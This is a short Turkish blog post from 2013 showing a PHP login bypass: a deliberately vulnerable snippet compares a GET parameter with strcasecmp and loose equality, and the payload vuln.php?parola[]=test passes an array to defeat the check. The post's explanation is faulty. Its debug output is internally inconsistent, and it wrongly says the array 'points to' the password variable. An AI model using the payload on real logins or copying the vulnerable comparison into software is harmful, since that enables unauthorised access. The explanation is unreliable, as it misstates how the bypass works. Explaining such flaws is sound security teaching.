17 Ekim 2013 Perşembe

strcasecmp fonksiyonu ile login bypass



strcasecmp fonksiyonu iki string'in aynı olup olmadığını kontrol etmek amaçlı kullanılmaktadır.

Fonksiyonun kullanımıyla ilgili PHP dökümantasyonuna göz atabilirsiniz.
http://uk3.php.net/manual/tr/function.strcasecmp.php

İlk olarak bu fonksiyonun sebep olduğu güvenlik açığını anlamak için ufak bir kod parçası yazalım.

<?php

    $anahtar = "gizliveri";

    $parola = "test";

    if ( strcasecmp( $_GET['parola'], $parola ) == 0 ) {

        echo $anahtar;

    }

?>

Görüldüğü gibi GET isteği ile kullanıcıdan bilgi alınıyor. vuln.php?parola=TEST veya vuln.php?parola=test yaparak anahtar değişkeninin değerini çıktı olarak görebilirsiniz.

Peki url'i şu şekilde değiştirsek neler olur?

vuln.php?parola[]=test

Burada parola isimli GET isteğini array olarak belirleyerek, parola değişkenine eşitlemiş olduk. Sonucu görmek için var_dump($_GET['parola']); fonksiyonu ile debug yapalım.

array(1) { [0] => string(5) "$parola" }

Görüldüğü gibi parola isimli array, parola değişkenine işaret ediyor ve anahtar değişkeni çıktı olarak veriyor.

Sonuç olarak, parola değerini bilmeden mevcut fonksiyonu bypass etmiş olduk.

Testlerde kullanılan PHP sürümü:
PHP 5.4.6-1ubuntu1.2 (cli)

EOF






0 yorum:

Yorum Gönder